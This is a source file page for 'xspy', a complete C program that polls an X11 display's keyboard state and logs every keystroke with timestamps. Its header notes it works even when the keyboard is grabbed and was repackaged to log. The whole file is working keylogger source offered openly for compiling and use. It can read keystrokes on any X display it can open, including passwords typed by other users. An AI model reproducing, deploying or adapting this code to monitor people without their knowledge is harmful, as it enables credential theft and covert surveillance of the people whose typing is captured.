-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathxspy.c
294 lines (242 loc) · 7.65 KB
/
xspy.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
// to compile run "gcc -o xspy -lX11 xspy.c"
/*
xspy
Jon A. Maxwell (JAM)
Monitors keystrokes even the keyboard is grabbed.
repackaged [email protected] to log
*/
/*
xspy polls the keyboard to determine the state of all keys on
the keyboard. By comparing results it determines which key has
been pressed and what modifiers are in use. In this way it
echos to the user all keystrokes typed.
xspy is freely distributable, provided the source remains intact.
*/
#include <X11/Xlib.h>
#include <X11/X.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <unistd.h>
#define VERSION "1.0c"
#define DEFAULT_DISPLAY ":0"
#define DEFAULT_DELAY 10000
#define DEFAULT_TIMESTAMP_INTERVAL 60
#define BIT(c, x) ( c[x/8]&(1<<(x%8)) )
#define TRUE 1
#define FALSE 0
#define KEYSYM_STRLEN 64
#define SHIFT_DOWN 1
#define LOCK_DOWN 5
#define CONTROL_DOWN 3
#define ISO3_DOWN 4
#define MODE_DOWN 5
/* I think it is pretty standard */
#define SHIFT_INDEX 1 /*index for XKeycodeToKeySym(), for shifted keys*/
#define MODE_INDEX 2
#define MODESHIFT_INDEX 3
#define ISO3_INDEX 4 //TODO geht leider nicht??
#define ISO3SHIFT_INDEX 4
/* Global variables */
extern Display *disp;
extern int PrintUp;
Display *disp;
int PrintUp =FALSE;
char *KeyCodeToStr(int code, int down, int mod);
int KeyModifiers(char *keys);
int usage() {
printf("%s\n%s\n%s\n%s\n%s%s%s\n",
"USAGE: xspy -display <display> -delay <usecs> -up",
" Options: display, specifies an X display.",
" delay, determines the polling frequency (.1 sec is 100000 usecs)",
" up, gives up transitions for some keys.",
" Version ",VERSION, ", by JAM");
exit(0);
}
int main(int argc, char *argv[]) {
char *hostname=DEFAULT_DISPLAY,
*char_ptr,
buf1[32], buf2[32],
*keys,
*saved;
int i,
delay=DEFAULT_DELAY,
timestamp_interval = DEFAULT_TIMESTAMP_INTERVAL;
time_t last_time, this_time;
/* get args */
for (i=1; i<argc; i++) {
if (!strcmp(argv[i], "-help")) usage();
else if (!strcmp(argv[i], "-display")) {
i++;
hostname=argv[i];
}
else if (!strcmp(argv[i], "-delay")) {
i++;
delay=atoi(argv[i]);
}
else if (!strcmp(argv[i], "-up")) {PrintUp =TRUE;}
else usage();
}
/* setup Xwindows */
disp=XOpenDisplay(hostname);
if (NULL==disp) {
fprintf(stderr, "Cannot open X display: %s\n", hostname);
exit(1);
}
XSynchronize(disp, TRUE);
/* setup buffers */
saved=buf1; keys=buf2;
XQueryKeymap(disp, saved);
last_time = this_time = time(NULL);
printf("%s", ctime(&this_time));
while (1) {
/* find changed keys */
XQueryKeymap(disp, keys);
for (i=0; i<32*8; i++) {
if (BIT(keys, i)!=BIT(saved, i)) {
register char *str;
str=(char *)KeyCodeToStr(i, BIT(keys, i), KeyModifiers(keys));
if (BIT(keys, i)!=0 || PrintUp) {
printf("%s ",str);
this_time = time(NULL);
}
}
}
/* swap buffers */
char_ptr=saved;
saved=keys;
keys=char_ptr;
/* new timestamped paragraph if greater than time since last */
if (this_time > timestamp_interval + last_time) {
printf("\n%s", ctime(&this_time));
fflush(stdout); /* in case user is writing to a pipe */
last_time = this_time;
}
usleep(delay);
}
}
/* This part takes the keycode and makes an output string. */
/*
Have a keycode, Look up keysym for it.
Convert keysym into its string representation.
if string is more than one character try to reduce it to one.
if string still is more than one character, put it into the form
(+string) or (-string) depending on whether the key is up or down.
print out the string.
*/
struct conv {char from[20], to[5];} conv_table[] = {
/* shift & control replaced with nothing, since they are appearent
from the output */
{"return",""}, {"escape","^["}, {"delete", "^H"},
{"shift",""}, {"control",""}, {"tab","\t"},
{"space", " "}, {"exclam", "!"}, {"quotedbl", "\""},
{"numbersign", "#"},{"dollar", "$"}, {"percent", "%"},
{"ampersand", "&"}, {"apostrophe", "'"},{"parenleft", "("},
{"parenright", ")"},{"asterisk", "*"}, {"plus", "+"},
{"comma", ","}, {"minus", "-"}, {"period", "."},
{"slash", "/"}, {"colon", ":"}, {"semicolon", ";"},
{"less", "<"}, {"equal", "="}, {"greater", ">"},
{"question", "?"}, {"at", "@"}, {"bracketleft", "["},
{"backslash", "\\"},{"bracketright", "]"},{"asciicircum", "^"},
{"underscore", "_"},{"grave", "`"}, {"braceleft", "{"},
{"bar", "|"}, {"braceright", "}"},{"asciitilde", "~"},
{"odiaeresis","ö"},{"udiaeresis","ü"},{"adiaeresis","ä"},{"",""}
};
int StrToChar(char *data) {
int i=0;
while (conv_table[i].from[0]!=0 || conv_table[i].to[0]!=0) {
if (!strncasecmp(data,conv_table[i].from,
strlen(conv_table[i].from)) ) {
strcpy(data, conv_table[i].to);
return TRUE;
}
i++;
}
return FALSE;
}
char *KeyCodeToStr(int code, int down, int mod) {
static char *str, buf[KEYSYM_STRLEN+1];
int index;
KeySym keysym;
/* get the keysym for the appropriate case */
switch (mod) {
case SHIFT_DOWN:
index=SHIFT_INDEX;
break;
case ISO3_DOWN:
index=ISO3_INDEX;
break;
case MODE_DOWN:
index=MODE_INDEX;
break;
default:
index=0;
}
keysym=XKeycodeToKeysym(disp, code, index);
if (NoSymbol==keysym) return "";
/* convert keysym to a string, copy it to a local area */
str=XKeysymToString(keysym);
if (strcmp(str,"ISO_Level3_Shift") == 0) {
keysym=XKeycodeToKeysym(disp, code, ISO3_INDEX);
str=XKeysymToString(keysym);
}
if (NULL==str) return "";
strncpy(buf, str, KEYSYM_STRLEN); buf[KEYSYM_STRLEN]=0;
/* try to reduce strings to character equivalents */
if (buf[1]!=0 && !StrToChar(buf)) {
if (strcmp(buf, "Caps_Lock") == 0) return "";
/* still a string, so put it in form (+str) or (-str) */
if (down) strcpy(buf, "(+");
else strcpy(buf, "(-");
strcat(buf, str);
strcat(buf, ")");
return buf;
}
if (buf[0]==0) return "";
if (mod==CONTROL_DOWN) {
buf[2]=0;
buf[1]=toupper(buf[0]);
buf[0]='^';
}
if (mod==LOCK_DOWN) {buf[0]=toupper(buf[0]);}
return buf;
}
/* returns which modifier is down, shift/caps or control */
int KeyModifiers(char *keys) {
static int setup=TRUE;
static int width;
static XModifierKeymap *mmap;
int i;
if (setup) {
setup=FALSE;
mmap=XGetModifierMapping(disp);
width=mmap->max_keypermod;
}
for (i=0; i<width; i++) {
KeyCode code;
code=mmap->modifiermap[ControlMapIndex*width+i];
if (code && 0!=BIT(keys, code)) {return CONTROL_DOWN;}
code=mmap->modifiermap[ShiftMapIndex*width +i];
if (code && 0!=BIT(keys, code)) {return SHIFT_DOWN;}
code=mmap->modifiermap[LockMapIndex*width +i];
if (code && 0!=BIT(keys, code)) {return LOCK_DOWN;}
code=mmap->modifiermap[Mod3MapIndex*width +i];
if (code && 0!=BIT(keys, code)) {return ISO3_DOWN;}
code=mmap->modifiermap[Mod5MapIndex*width +i];
if (code && 0!=BIT(keys, code)) {return MODE_DOWN;}
}
return 0;
}
/* if usleep is missing
include <sys/types.h>
include <sys/time.h>
void usleep(x) {
struct timeval time;
time.tv_sec= x/1000000;
time.tv_usec=x%1000000;
select(0, NULL, NULL, NULL, &time);
}
*/